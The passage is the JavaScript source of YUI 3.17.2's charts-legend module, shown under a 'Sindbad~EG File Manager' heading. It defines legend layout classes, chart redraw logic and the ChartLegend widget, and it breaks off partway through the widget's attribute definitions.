Sindbad~EG File Manager
/*
YUI 3.17.2 (build 9c3c78e)
Copyright 2014 Yahoo! Inc. All rights reserved.
Licensed under the BSD License.
http://yuilibrary.com/license/
*/
YUI.add('charts-legend', function (Y, NAME) {
/**
* Adds legend functionality to charts.
*
* @module charts
* @submodule charts-legend
*/
var TOP = "top",
RIGHT = "right",
BOTTOM = "bottom",
LEFT = "left",
EXTERNAL = "external",
HORIZONTAL = "horizontal",
VERTICAL = "vertical",
WIDTH = "width",
HEIGHT = "height",
POSITION = "position",
_X = "x",
_Y = "y",
PX = "px",
PieChartLegend,
LEGEND = {
setter: function(val)
{
var legend = this.get("legend");
if(legend)
{
legend.destroy(true);
}
if(val instanceof Y.ChartLegend)
{
legend = val;
legend.set("chart", this);
}
else
{
val.chart = this;
if(!val.hasOwnProperty("render"))
{
val.render = this.get("contentBox");
val.includeInChartLayout = true;
}
legend = new Y.ChartLegend(val);
}
return legend;
}
},
/**
* Contains methods for displaying items horizontally in a legend.
*
* @module charts
* @submodule charts-legend
* @class HorizontalLegendLayout
*/
HorizontalLegendLayout = {
/**
* Displays items horizontally in a legend.
*
* @method _positionLegendItems
* @param {Array} items Array of items to display in the legend.
* @param {Number} maxWidth The width of the largest item in the legend.
* @param {Number} maxHeight The height of the largest item in the legend.
* @param {Number} totalWidth The total width of all items in a legend.
* @param {Number} totalHeight The total height of all items in a legend.
* @param {Number} padding The left, top, right and bottom padding properties for the legend.
* @param {Number} horizontalGap The horizontal distance between items in a legend.
* @param {Number} verticalGap The vertical distance between items in a legend.
* @param {String} hAlign The horizontal alignment of the legend.
* @protected
*/
_positionLegendItems: function(items, maxWidth, maxHeight, totalWidth, totalHeight, padding, horizontalGap, verticalGap, hAlign)
{
var i = 0,
rowIterator = 0,
item,
node,
itemWidth,
itemHeight,
len,
width = this.get("width"),
rows,
rowsLen,
row,
totalWidthArray,
legendWidth,
topHeight = padding.top - verticalGap,
limit = width - (padding.left + padding.right),
left,
top,
right,
bottom;
HorizontalLegendLayout._setRowArrays(items, limit, horizontalGap);
rows = HorizontalLegendLayout.rowArray;
totalWidthArray = HorizontalLegendLayout.totalWidthArray;
rowsLen = rows.length;
for(; rowIterator < rowsLen; ++ rowIterator)
{
topHeight += verticalGap;
row = rows[rowIterator];
len = row.length;
legendWidth = HorizontalLegendLayout.getStartPoint(width, totalWidthArray[rowIterator], hAlign, padding);
for(i = 0; i < len; ++i)
{
item = row[i];
node = item.node;
itemWidth = item.width;
itemHeight = item.height;
item.x = legendWidth;
item.y = 0;
left = !isNaN(left) ? Math.min(left, legendWidth) : legendWidth;
top = !isNaN(top) ? Math.min(top, topHeight) : topHeight;
right = !isNaN(right) ? Math.max(legendWidth + itemWidth, right) : legendWidth + itemWidth;
bottom = !isNaN(bottom) ? Math.max(topHeight + itemHeight, bottom) : topHeight + itemHeight;
node.setStyle("left", legendWidth + PX);
node.setStyle("top", topHeight + PX);
legendWidth += itemWidth + horizontalGap;
}
topHeight += item.height;
}
this._contentRect = {
left: left,
top: top,
right: right,
bottom: bottom
};
if(this.get("includeInChartLayout"))
{
this.set("height", topHeight + padding.bottom);
}
},
/**
* Creates row and total width arrays used for displaying multiple rows of
* legend items based on the items, available width and horizontalGap for the legend.
*
* @method _setRowArrays
* @param {Array} items Array of legend items to display in a legend.
* @param {Number} limit Total available width for displaying items in a legend.
* @param {Number} horizontalGap Horizontal distance between items in a legend.
* @protected
*/
_setRowArrays: function(items, limit, horizontalGap)
{
var item = items[0],
rowArray = [[item]],
i = 1,
rowIterator = 0,
len = items.length,
totalWidth = item.width,
itemWidth,
totalWidthArray = [[totalWidth]];
for(; i < len; ++i)
{
item = items[i];
itemWidth = item.width;
if((totalWidth + horizontalGap + itemWidth) <= limit)
{
totalWidth += horizontalGap + itemWidth;
rowArray[rowIterator].push(item);
}
else
{
totalWidth = horizontalGap + itemWidth;
if(rowArray[rowIterator])
{
rowIterator += 1;
}
rowArray[rowIterator] = [item];
}
totalWidthArray[rowIterator] = totalWidth;
}
HorizontalLegendLayout.rowArray = rowArray;
HorizontalLegendLayout.totalWidthArray = totalWidthArray;
},
/**
* Returns the starting x-coordinate for a row of legend items.
*
* @method getStartPoint
* @param {Number} w Width of the legend.
* @param {Number} totalWidth Total width of all labels in the row.
* @param {String} align Horizontal alignment of items for the legend.
* @param {Object} padding Object contain left, top, right and bottom padding properties.
* @return Number
* @protected
*/
getStartPoint: function(w, totalWidth, align, padding)
{
var startPoint;
switch(align)
{
case LEFT :
startPoint = padding.left;
break;
case "center" :
startPoint = (w - totalWidth) * 0.5;
break;
case RIGHT :
startPoint = w - totalWidth - padding.right;
break;
}
return startPoint;
}
},
/**
* Contains methods for displaying items vertically in a legend.
*
* @module charts
* @submodule charts-legend
* @class VerticalLegendLayout
*/
VerticalLegendLayout = {
/**
* Displays items vertically in a legend.
*
* @method _positionLegendItems
* @param {Array} items Array of items to display in the legend.
* @param {Number} maxWidth The width of the largest item in the legend.
* @param {Number} maxHeight The height of the largest item in the legend.
* @param {Number} totalWidth The total width of all items in a legend.
* @param {Number} totalHeight The total height of all items in a legend.
* @param {Number} padding The left, top, right and bottom padding properties for the legend.
* @param {Number} horizontalGap The horizontal distance between items in a legend.
* @param {Number} verticalGap The vertical distance between items in a legend.
* @param {String} vAlign The vertical alignment of the legend.
* @protected
*/
_positionLegendItems: function(items, maxWidth, maxHeight, totalWidth, totalHeight, padding, horizontalGap, verticalGap, vAlign)
{
var i = 0,
columnIterator = 0,
item,
node,
itemHeight,
itemWidth,
len,
height = this.get("height"),
columns,
columnsLen,
column,
totalHeightArray,
legendHeight,
leftWidth = padding.left - horizontalGap,
legendWidth,
limit = height - (padding.top + padding.bottom),
left,
top,
right,
bottom;
VerticalLegendLayout._setColumnArrays(items, limit, verticalGap);
columns = VerticalLegendLayout.columnArray;
totalHeightArray = VerticalLegendLayout.totalHeightArray;
columnsLen = columns.length;
for(; columnIterator < columnsLen; ++ columnIterator)
{
leftWidth += horizontalGap;
column = columns[columnIterator];
len = column.length;
legendHeight = VerticalLegendLayout.getStartPoint(height, totalHeightArray[columnIterator], vAlign, padding);
legendWidth = 0;
for(i = 0; i < len; ++i)
{
item = column[i];
node = item.node;
itemHeight = item.height;
itemWidth = item.width;
item.y = legendHeight;
item.x = leftWidth;
left = !isNaN(left) ? Math.min(left, leftWidth) : leftWidth;
top = !isNaN(top) ? Math.min(top, legendHeight) : legendHeight;
right = !isNaN(right) ? Math.max(leftWidth + itemWidth, right) : leftWidth + itemWidth;
bottom = !isNaN(bottom) ? Math.max(legendHeight + itemHeight, bottom) : legendHeight + itemHeight;
node.setStyle("left", leftWidth + PX);
node.setStyle("top", legendHeight + PX);
legendHeight += itemHeight + verticalGap;
legendWidth = Math.max(legendWidth, item.width);
}
leftWidth += legendWidth;
}
this._contentRect = {
left: left,
top: top,
right: right,
bottom: bottom
};
if(this.get("includeInChartLayout"))
{
this.set("width", leftWidth + padding.right);
}
},
/**
* Creates column and total height arrays used for displaying multiple columns of
* legend items based on the items, available height and verticalGap for the legend.
*
* @method _setColumnArrays
* @param {Array} items Array of legend items to display in a legend.
* @param {Number} limit Total available height for displaying items in a legend.
* @param {Number} verticalGap Vertical distance between items in a legend.
* @protected
*/
_setColumnArrays: function(items, limit, verticalGap)
{
var item = items[0],
columnArray = [[item]],
i = 1,
columnIterator = 0,
len = items.length,
totalHeight = item.height,
itemHeight,
totalHeightArray = [[totalHeight]];
for(; i < len; ++i)
{
item = items[i];
itemHeight = item.height;
if((totalHeight + verticalGap + itemHeight) <= limit)
{
totalHeight += verticalGap + itemHeight;
columnArray[columnIterator].push(item);
}
else
{
totalHeight = verticalGap + itemHeight;
if(columnArray[columnIterator])
{
columnIterator += 1;
}
columnArray[columnIterator] = [item];
}
totalHeightArray[columnIterator] = totalHeight;
}
VerticalLegendLayout.columnArray = columnArray;
VerticalLegendLayout.totalHeightArray = totalHeightArray;
},
/**
* Returns the starting y-coordinate for a column of legend items.
*
* @method getStartPoint
* @param {Number} h Height of the legend.
* @param {Number} totalHeight Total height of all labels in the column.
* @param {String} align Vertical alignment of items for the legend.
* @param {Object} padding Object contain left, top, right and bottom padding properties.
* @return Number
* @protected
*/
getStartPoint: function(h, totalHeight, align, padding)
{
var startPoint;
switch(align)
{
case TOP :
startPoint = padding.top;
break;
case "middle" :
startPoint = (h - totalHeight) * 0.5;
break;
case BOTTOM :
startPoint = h - totalHeight - padding.bottom;
break;
}
return startPoint;
}
},
CartesianChartLegend = Y.Base.create("cartesianChartLegend", Y.CartesianChart, [], {
/**
* Redraws and position all the components of the chart instance.
*
* @method _redraw
* @private
*/
_redraw: function()
{
if(this._drawing)
{
this._callLater = true;
return;
}
this._drawing = true;
this._callLater = false;
var w = this.get("width"),
h = this.get("height"),
layoutBoxDimensions = this._getLayoutBoxDimensions(),
leftPaneWidth = layoutBoxDimensions.left,
rightPaneWidth = layoutBoxDimensions.right,
topPaneHeight = layoutBoxDimensions.top,
bottomPaneHeight = layoutBoxDimensions.bottom,
leftAxesCollection = this.get("leftAxesCollection"),
rightAxesCollection = this.get("rightAxesCollection"),
topAxesCollection = this.get("topAxesCollection"),
bottomAxesCollection = this.get("bottomAxesCollection"),
i = 0,
l,
axis,
graphOverflow = "visible",
graph = this.get("graph"),
topOverflow,
bottomOverflow,
leftOverflow,
rightOverflow,
graphWidth,
graphHeight,
graphX,
graphY,
allowContentOverflow = this.get("allowContentOverflow"),
diff,
rightAxesXCoords,
leftAxesXCoords,
topAxesYCoords,
bottomAxesYCoords,
legend = this.get("legend"),
graphRect = {};
if(leftAxesCollection)
{
leftAxesXCoords = [];
l = leftAxesCollection.length;
for(i = l - 1; i > -1; --i)
{
leftAxesXCoords.unshift(leftPaneWidth);
leftPaneWidth += leftAxesCollection[i].get("width");
}
}
if(rightAxesCollection)
{
rightAxesXCoords = [];
l = rightAxesCollection.length;
i = 0;
for(i = l - 1; i > -1; --i)
{
rightPaneWidth += rightAxesCollection[i].get("width");
rightAxesXCoords.unshift(w - rightPaneWidth);
}
}
if(topAxesCollection)
{
topAxesYCoords = [];
l = topAxesCollection.length;
for(i = l - 1; i > -1; --i)
{
topAxesYCoords.unshift(topPaneHeight);
topPaneHeight += topAxesCollection[i].get("height");
}
}
if(bottomAxesCollection)
{
bottomAxesYCoords = [];
l = bottomAxesCollection.length;
for(i = l - 1; i > -1; --i)
{
bottomPaneHeight += bottomAxesCollection[i].get("height");
bottomAxesYCoords.unshift(h - bottomPaneHeight);
}
}
graphWidth = w - (leftPaneWidth + rightPaneWidth);
graphHeight = h - (bottomPaneHeight + topPaneHeight);
graphRect.left = leftPaneWidth;
graphRect.top = topPaneHeight;
graphRect.bottom = h - bottomPaneHeight;
graphRect.right = w - rightPaneWidth;
if(!allowContentOverflow)
{
topOverflow = this._getTopOverflow(leftAxesCollection, rightAxesCollection);
bottomOverflow = this._getBottomOverflow(leftAxesCollection, rightAxesCollection);
leftOverflow = this._getLeftOverflow(bottomAxesCollection, topAxesCollection);
rightOverflow = this._getRightOverflow(bottomAxesCollection, topAxesCollection);
diff = topOverflow - topPaneHeight;
if(diff > 0)
{
graphRect.top = topOverflow;
if(topAxesYCoords)
{
i = 0;
l = topAxesYCoords.length;
for(; i < l; ++i)
{
topAxesYCoords[i] += diff;
}
}
}
diff = bottomOverflow - bottomPaneHeight;
if(diff > 0)
{
graphRect.bottom = h - bottomOverflow;
if(bottomAxesYCoords)
{
i = 0;
l = bottomAxesYCoords.length;
for(; i < l; ++i)
{
bottomAxesYCoords[i] -= diff;
}
}
}
diff = leftOverflow - leftPaneWidth;
if(diff > 0)
{
graphRect.left = leftOverflow;
if(leftAxesXCoords)
{
i = 0;
l = leftAxesXCoords.length;
for(; i < l; ++i)
{
leftAxesXCoords[i] += diff;
}
}
}
diff = rightOverflow - rightPaneWidth;
if(diff > 0)
{
graphRect.right = w - rightOverflow;
if(rightAxesXCoords)
{
i = 0;
l = rightAxesXCoords.length;
for(; i < l; ++i)
{
rightAxesXCoords[i] -= diff;
}
}
}
}
graphWidth = graphRect.right - graphRect.left;
graphHeight = graphRect.bottom - graphRect.top;
graphX = graphRect.left;
graphY = graphRect.top;
if(legend)
{
if(legend.get("includeInChartLayout"))
{
switch(legend.get("position"))
{
case "left" :
legend.set("y", graphY);
legend.set("height", graphHeight);
break;
case "top" :
legend.set("x", graphX);
legend.set("width", graphWidth);
break;
case "bottom" :
legend.set("x", graphX);
legend.set("width", graphWidth);
break;
case "right" :
legend.set("y", graphY);
legend.set("height", graphHeight);
break;
}
}
}
if(topAxesCollection)
{
l = topAxesCollection.length;
i = 0;
for(; i < l; i++)
{
axis = topAxesCollection[i];
if(axis.get("width") !== graphWidth)
{
axis.set("width", graphWidth);
}
axis.get("boundingBox").setStyle("left", graphX + PX);
axis.get("boundingBox").setStyle("top", topAxesYCoords[i] + PX);
}
if(axis._hasDataOverflow())
{
graphOverflow = "hidden";
}
}
if(bottomAxesCollection)
{
l = bottomAxesCollection.length;
i = 0;
for(; i < l; i++)
{
axis = bottomAxesCollection[i];
if(axis.get("width") !== graphWidth)
{
axis.set("width", graphWidth);
}
axis.get("boundingBox").setStyle("left", graphX + PX);
axis.get("boundingBox").setStyle("top", bottomAxesYCoords[i] + PX);
}
if(axis._hasDataOverflow())
{
graphOverflow = "hidden";
}
}
if(leftAxesCollection)
{
l = leftAxesCollection.length;
i = 0;
for(; i < l; ++i)
{
axis = leftAxesCollection[i];
axis.get("boundingBox").setStyle("top", graphY + PX);
axis.get("boundingBox").setStyle("left", leftAxesXCoords[i] + PX);
if(axis.get("height") !== graphHeight)
{
axis.set("height", graphHeight);
}
}
if(axis._hasDataOverflow())
{
graphOverflow = "hidden";
}
}
if(rightAxesCollection)
{
l = rightAxesCollection.length;
i = 0;
for(; i < l; ++i)
{
axis = rightAxesCollection[i];
axis.get("boundingBox").setStyle("top", graphY + PX);
axis.get("boundingBox").setStyle("left", rightAxesXCoords[i] + PX);
if(axis.get("height") !== graphHeight)
{
axis.set("height", graphHeight);
}
}
if(axis._hasDataOverflow())
{
graphOverflow = "hidden";
}
}
this._drawing = false;
if(this._callLater)
{
this._redraw();
return;
}
if(graph)
{
graph.get("boundingBox").setStyle("left", graphX + PX);
graph.get("boundingBox").setStyle("top", graphY + PX);
graph.set("width", graphWidth);
graph.set("height", graphHeight);
graph.get("boundingBox").setStyle("overflow", graphOverflow);
}
if(this._overlay)
{
this._overlay.setStyle("left", graphX + PX);
this._overlay.setStyle("top", graphY + PX);
this._overlay.setStyle("width", graphWidth + PX);
this._overlay.setStyle("height", graphHeight + PX);
}
},
/**
* Positions the legend in a chart and returns the properties of the legend to be used in the
* chart's layout algorithm.
*
* @method _getLayoutDimensions
* @return {Object} The left, top, right and bottom values for the legend.
* @protected
*/
_getLayoutBoxDimensions: function()
{
var box = {
top: 0,
right: 0,
bottom: 0,
left: 0
},
legend = this.get("legend"),
position,
direction,
dimension,
size,
w = this.get(WIDTH),
h = this.get(HEIGHT),
gap;
if(legend && legend.get("includeInChartLayout"))
{
gap = legend.get("styles").gap;
position = legend.get(POSITION);
if(position !== EXTERNAL)
{
direction = legend.get("direction");
dimension = direction === HORIZONTAL ? HEIGHT : WIDTH;
size = legend.get(dimension);
box[position] = size + gap;
switch(position)
{
case TOP :
legend.set(_Y, 0);
break;
case BOTTOM :
legend.set(_Y, h - size);
break;
case RIGHT :
legend.set(_X, w - size);
break;
case LEFT:
legend.set(_X, 0);
break;
}
}
}
return box;
},
/**
* Destructor implementation for the CartesianChart class. Calls destroy on all axes, series, legend (if available) and the Graph instance.
* Removes the tooltip and overlay HTML elements.
*
* @method destructor
* @protected
*/
destructor: function()
{
var legend = this.get("legend");
if(legend)
{
legend.destroy(true);
}
}
}, {
ATTRS: {
legend: LEGEND
}
});
Y.CartesianChart = CartesianChartLegend;
PieChartLegend = Y.Base.create("pieChartLegend", Y.PieChart, [], {
/**
* Redraws the chart instance.
*
* @method _redraw
* @private
*/
_redraw: function()
{
if(this._drawing)
{
this._callLater = true;
return;
}
this._drawing = true;
this._callLater = false;
var graph = this.get("graph"),
w = this.get("width"),
h = this.get("height"),
graphWidth,
graphHeight,
legend = this.get("legend"),
x = 0,
y = 0,
legendX = 0,
legendY = 0,
legendWidth,
legendHeight,
dimension,
gap,
position,
direction;
if(graph)
{
if(legend)
{
position = legend.get("position");
direction = legend.get("direction");
graphWidth = graph.get("width");
graphHeight = graph.get("height");
legendWidth = legend.get("width");
legendHeight = legend.get("height");
gap = legend.get("styles").gap;
if((direction === "vertical" && (graphWidth + legendWidth + gap !== w)) ||
(direction === "horizontal" && (graphHeight + legendHeight + gap !== h)))
{
switch(legend.get("position"))
{
case LEFT :
dimension = Math.min(w - (legendWidth + gap), h);
legendHeight = h;
x = legendWidth + gap;
legend.set(HEIGHT, legendHeight);
break;
case TOP :
dimension = Math.min(h - (legendHeight + gap), w);
legendWidth = w;
y = legendHeight + gap;
legend.set(WIDTH, legendWidth);
break;
case RIGHT :
dimension = Math.min(w - (legendWidth + gap), h);
legendHeight = h;
legendX = dimension + gap;
legend.set(HEIGHT, legendHeight);
break;
case BOTTOM :
dimension = Math.min(h - (legendHeight + gap), w);
legendWidth = w;
legendY = dimension + gap;
legend.set(WIDTH, legendWidth);
break;
}
graph.set(WIDTH, dimension);
graph.set(HEIGHT, dimension);
}
else
{
switch(legend.get("position"))
{
case LEFT :
x = legendWidth + gap;
break;
case TOP :
y = legendHeight + gap;
break;
case RIGHT :
legendX = graphWidth + gap;
break;
case BOTTOM :
legendY = graphHeight + gap;
break;
}
}
}
else
{
graph.set(_X, 0);
graph.set(_Y, 0);
graph.set(WIDTH, w);
graph.set(HEIGHT, h);
}
}
this._drawing = false;
if(this._callLater)
{
this._redraw();
return;
}
if(graph)
{
graph.set(_X, x);
graph.set(_Y, y);
}
if(legend)
{
legend.set(_X, legendX);
legend.set(_Y, legendY);
}
}
}, {
ATTRS: {
/**
* The legend for the chart.
*
* @attribute
* @type Legend
*/
legend: LEGEND
}
});
Y.PieChart = PieChartLegend;
/**
* ChartLegend provides a legend for a chart.
*
* @class ChartLegend
* @module charts
* @submodule charts-legend
* @extends Widget
*/
Y.ChartLegend = Y.Base.create("chartlegend", Y.Widget, [Y.Renderer], {
/**
* Initializes the chart.
*
* @method initializer
* @private
*/
initializer: function()
{
this._items = [];
},
/**
* @method renderUI
* @private
*/
renderUI: function()
{
var bb = this.get("boundingBox"),
cb = this.get("contentBox"),
styles = this.get("styles").background,
background = new Y.Rect({
graphic: cb,
fill: styles.fill,
stroke: styles.border
});
bb.setStyle("display", "block");
bb.setStyle("position", "absolute");
this.set("background", background);
},
/**
* @method bindUI
* @private
*/
bindUI: function()
{
this.get("chart").after("seriesCollectionChange", Y.bind(this._updateHandler, this));
this.get("chart").after("stylesChange", Y.bind(this._updateHandler, this));
this.after("stylesChange", this._updateHandler);
this.after("positionChange", this._positionChangeHandler);
this.after("widthChange", this._handleSizeChange);
this.after("heightChange", this._handleSizeChange);
},
/**
* @method syncUI
* @private
*/
syncUI: function()
{
var w = this.get("width"),
h = this.get("height");
if(isFinite(w) && isFinite(h) && w > 0 && h > 0)
{
this._drawLegend();
}
},
/**
* Handles changes to legend.
*
* @method _updateHandler
* @param {Object} e Event object
* @private
*/
_updateHandler: function()
{
if(this.get("rendered"))
{
this._drawLegend();
}
},
/**
* Handles position changes.
*
* @method _positionChangeHandler
* @param {Object} e Event object
* @private
*/
_positionChangeHandler: function()
{
var chart = this.get("chart"),
parentNode = this._parentNode;
if(parentNode && ((chart && this.get("includeInChartLayout"))))
{
this.fire("legendRendered");
}
else if(this.get("rendered"))
{
this._drawLegend();
}
},
/**
* Updates the legend when the size changes.
*
* @method _handleSizeChange
* @param {Object} e Event object.
* @private
*/
_handleSizeChange: function(e)
{
var attrName = e.attrName,
pos = this.get(POSITION),
vert = pos === LEFT || pos === RIGHT,
hor = pos === BOTTOM || pos === TOP;
if((hor && attrName === WIDTH) || (vert && attrName === HEIGHT))
{
this._drawLegend();
}
},
/**
* Draws the legend
*
* @method _drawLegend
* @private
*/
_drawLegend: function()
{
if(this._drawing)
{
this._callLater = true;
return;
}
this._drawing = true;
this._callLater = false;
if(this.get("includeInChartLayout"))
{
this.get("chart")._itemRenderQueue.unshift(this);
}
var chart = this.get("chart"),
node = this.get("contentBox"),
seriesCollection = chart.get("seriesCollection"),
series,
styles = this.get("styles"),
padding = styles.padding,
itemStyles = styles.item,
seriesStyles,
hSpacing = itemStyles.hSpacing,
vSpacing = itemStyles.vSpacing,
direction = this.get("direction"),
align = direction === "vertical" ? styles.vAlign : styles.hAlign,
marker = styles.marker,
labelStyles = itemStyles.label,
displayName,
layout = this._layout[direction],
i,
len,
isArray,
legendShape,
shape,
shapeClass,
item,
fill,
border,
fillColors,
borderColors,
borderWeight,
items = [],
markerWidth = marker.width,
markerHeight = marker.height,
totalWidth = 0 - hSpacing,
totalHeight = 0 - vSpacing,
maxWidth = 0,
maxHeight = 0,
itemWidth,
itemHeight;
if(marker && marker.shape)
{
legendShape = marker.shape;
}
this._destroyLegendItems();
if(chart instanceof Y.PieChart)
{
series = seriesCollection[0];
displayName = series.get("categoryAxis").getDataByKey(series.get("categoryKey"));
seriesStyles = series.get("styles").marker;
fillColors = seriesStyles.fill.colors;
borderColors = seriesStyles.border.colors;
borderWeight = seriesStyles.border.weight;
i = 0;
len = displayName.length;
shape = legendShape || Y.Circle;
isArray = Y.Lang.isArray(shape);
for(; i < len; ++i)
{
shape = isArray ? shape[i] : shape;
fill = {
color: fillColors[i]
};
border = {
colors: borderColors[i],
weight: borderWeight
};
displayName = chart.getSeriesItems(series, i).category.value;
item = this._getLegendItem(node, this._getShapeClass(shape), fill, border, labelStyles, markerWidth, markerHeight, displayName);
itemWidth = item.width;
itemHeight = item.height;
maxWidth = Math.max(maxWidth, itemWidth);
maxHeight = Math.max(maxHeight, itemHeight);
totalWidth += itemWidth + hSpacing;
totalHeight += itemHeight + vSpacing;
items.push(item);
}
}
else
{
i = 0;
len = seriesCollection.length;
for(; i < len; ++i)
{
series = seriesCollection[i];
seriesStyles = this._getStylesBySeriesType(series, shape);
if(!legendShape)
{
shape = seriesStyles.shape;
if(!shape)
{
shape = Y.Circle;
}
}
shapeClass = Y.Lang.isArray(shape) ? shape[i] : shape;
item = this._getLegendItem(
node,
this._getShapeClass(shape),
seriesStyles.fill,
seriesStyles.border,
labelStyles,
markerWidth,
markerHeight,
series.get("valueDisplayName")
);
itemWidth = item.width;
itemHeight = item.height;
maxWidth = Math.max(maxWidth, itemWidth);
maxHeight = Math.max(maxHeight, itemHeight);
totalWidth += itemWidth + hSpacing;
totalHeight += itemHeight + vSpacing;
items.push(item);
}
}
this._drawing = false;
if(this._callLater)
{
this._drawLegend();
}
else
{
layout._positionLegendItems.apply(
this,
[items, maxWidth, maxHeight, totalWidth, totalHeight, padding, hSpacing, vSpacing, align]
);
this._updateBackground(styles);
this.fire("legendRendered");
}
},
/**
* Updates the background for the legend.
*
* @method _updateBackground
* @param {Object} styles Reference to the legend's styles attribute
* @private
*/
_updateBackground: function(styles)
{
var backgroundStyles = styles.background,
contentRect = this._contentRect,
padding = styles.padding,
x = contentRect.left - padding.left,
y = contentRect.top - padding.top,
w = contentRect.right - x + padding.right,
h = contentRect.bottom - y + padding.bottom;
this.get("background").set({
fill: backgroundStyles.fill,
stroke: backgroundStyles.border,
width: w,
height: h,
x: x,
y: y
});
},
/**
* Retrieves the marker styles based on the type of series. For series that contain a marker, the marker styles are returned.
*
* @method _getStylesBySeriesType
* @param {CartesianSeries | PieSeries} The series in which the style properties will be received.
* @return Object An object containing fill, border and shape information.
* @private
*/
_getStylesBySeriesType: function(series)
{
var styles = series.get("styles"),
color;
if(series instanceof Y.LineSeries || series instanceof Y.StackedLineSeries)
{
styles = series.get("styles").line;
color = styles.color || series._getDefaultColor(series.get("graphOrder"), "line");
return {
border: {
weight: 1,
color: color
},
fill: {
color: color
}
};
}
else if(series instanceof Y.AreaSeries || series instanceof Y.StackedAreaSeries)
{
styles = series.get("styles").area;
color = styles.color || series._getDefaultColor(series.get("graphOrder"), "slice");
return {
border: {
weight: 1,
color: color
},
fill: {
color: color
}
};
}
else
{
styles = series.get("styles").marker;
return {
fill: styles.fill,
border: {
weight: styles.border.weight,
color: styles.border.color,
shape: styles.shape
},
shape: styles.shape
};
}
},
/**
* Returns a legend item consisting of the following properties:
* <dl>
* <dt>node</dt><dd>The `Node` containing the legend item elements.</dd>
* <dt>shape</dt><dd>The `Shape` element for the legend item.</dd>
* <dt>textNode</dt><dd>The `Node` containing the text></dd>
* <dt>text</dt><dd></dd>
* </dl>
*
* @method _getLegendItem
* @param {Node} shapeProps Reference to the `node` attribute.
* @param {String | Class} shapeClass The type of shape
* @param {Object} fill Properties for the shape's fill
* @param {Object} border Properties for the shape's border
* @param {String} labelStyles String to be rendered as the legend's text
* @param {Number} width Total width of the legend item
* @param {Number} height Total height of the legend item
* @param {String} text Text for the legendItem
* @return Object
* @private
*/
_getLegendItem: function(node, shapeClass, fill, border, labelStyles, w, h, text)
{
var containerNode = Y.Node.create("<div>"),
textField = Y.Node.create("<span>"),
shape,
dimension,
padding,
left,
item,
ShapeClass = shapeClass;
containerNode.setStyle(POSITION, "absolute");
textField.setStyle(POSITION, "absolute");
textField.setStyles(labelStyles);
textField.set("text", text);
containerNode.appendChild(textField);
node.append(containerNode);
dimension = textField.get("offsetHeight");
padding = dimension - h;
left = w + padding + 2;
textField.setStyle("left", left + PX);
containerNode.setStyle("height", dimension + PX);
containerNode.setStyle("width", (left + textField.get("offsetWidth")) + PX);
shape = new ShapeClass({
fill: fill,
stroke: border,
width: w,
height: h,
x: padding * 0.5,
y: padding * 0.5,
w: w,
h: h,
graphic: containerNode
});
textField.setStyle("left", dimension + PX);
item = {
node: containerNode,
width: containerNode.get("offsetWidth"),
height: containerNode.get("offsetHeight"),
shape: shape,
textNode: textField,
text: text
};
this._items.push(item);
return item;
},
/**
* Evaluates and returns correct class for drawing a shape.
*
* @method _getShapeClass
* @return Shape
* @private
*/
_getShapeClass: function()
{
var graphic = this.get("background").get("graphic");
return graphic._getShapeClass.apply(graphic, arguments);
},
/**
* Returns the default hash for the `styles` attribute.
*
* @method _getDefaultStyles
* @return Object
* @protected
*/
_getDefaultStyles: function()
{
var styles = {
padding: {
top: 8,
right: 8,
bottom: 8,
left: 9
},
gap: 10,
hAlign: "center",
vAlign: "top",
marker: this._getPlotDefaults(),
item: {
hSpacing: 10,
vSpacing: 5,
label: {
color:"#808080",
fontSize:"85%",
whiteSpace: "nowrap"
}
},
background: {
shape: "rect",
fill:{
color:"#faf9f2"
},
border: {
color:"#dad8c9",
weight: 1
}
}
};
return styles;
},
/**
* Gets the default values for series that use the utility. This method is used by
* the class' `styles` attribute's getter to get build default values.
*
* @method _getPlotDefaults
* @return Object
* @protected
*/
_getPlotDefaults: function()
{
var defs = {
width: 10,
height: 10
};
return defs;
},
/**
* Destroys legend items.
*
* @method _destroyLegendItems
* @private
*/
_destroyLegendItems: function()
{
var item;
if(this._items)
{
while(this._items.length > 0)
{
item = this._items.shift();
item.shape.get("graphic").destroy();
item.node.empty();
item.node.destroy(true);
item.node = null;
item = null;
}
}
this._items = [];
},
/**
* Maps layout classes.
*
* @property _layout
* @private
*/
_layout: {
vertical: VerticalLegendLayout,
horizontal: HorizontalLegendLayout
},
/**
* Destructor implementation ChartLegend class. Removes all items and the Graphic instance from the widget.
*
* @method destructor
* @protected
*/
destructor: function()
{
var background = this.get("background"),
backgroundGraphic;
this._destroyLegendItems();
if(background)
{
backgroundGraphic = background.get("graphic");
if(backgroundGraphic)
{
backgroundGraphic.destroy();
}
else
{
background.destroy();
}
}
}
}, {
ATTRS: {
/**
* Indicates whether the chart's contentBox is the parentNode for the legend.
*
* @attribute includeInChartLayout
* @type Boolean
* @private
*/
includeInChartLayout: {
value: false
},
/**
* Reference to the `Chart` instance.
*
* @attribute chart
* @type Chart
*/
chart: {
setter: function(val)
{
this.after("legendRendered", Y.bind(val._itemRendered, val));
return val;
}
},
/**
* Indicates the direction in relation of the legend's layout. The `direction` of the legend is determined by its
* `position` value.
*
* @attribute direction
* @type String
*/
direction: {
value: "vertical"
},
/**
* Indicates the position and direction of the legend. Possible values are `left`, `top`, `right` and `bottom`.
* Values of `left` and `right` values have a `direction` of `vertical`. Values of `top` and `bottom` values have
* a `direction` of `horizontal`.
*
* @attribute position
* @type String
*/
position: {
lazyAdd: false,
value: "right",
setter: function(val)
{
if(val === TOP || val === BOTTOM)
{
this.set("direction", HORIZONTAL);
}
else if(val === LEFT || val === RIGHT)
{
this.set("direction", VERTICAL);
}
return val;
}
},
/**
* The width of the legend. Depending on the implementation of the ChartLegend, this value is `readOnly`.
* By default, the legend is included in the layout of the `Chart` that it references. Under this circumstance,
* `width` is always `readOnly`. When the legend is rendered in its own dom element, the `readOnly` status is
* determined by the direction of the legend. If the `position` is `left` or `right` or the `direction` is
* `vertical`, width is `readOnly`. If the position is `top` or `bottom` or the `direction` is `horizontal`,
* width can be explicitly set. If width is not explicitly set, the width will be determined by the width of the
* legend's parent element.
*
* @attribute width
* @type Number
*/
width: {
getter: function()
{
var chart = this.get("chart"),
parentNode = this._parentNode;
if(parentNode)
{
if((chart && this.get("includeInChartLayout")) || this._width)
{
if(!this._width)
{
this._width = 0;
}
return this._width;
}
else
{
return parentNode.get("offsetWidth");
}
}
return "";
},
setter: function(val)
{
this._width = val;
return val;
}
},
/**
* The height of the legend. Depending on the implementation of the ChartLegend, this value is `readOnly`.
* By default, the legend is included in the layout of the `Chart` that it references. Under this circumstance,
* `height` is always `readOnly`. When the legend is rendered in its own dom element, the `readOnly` status is
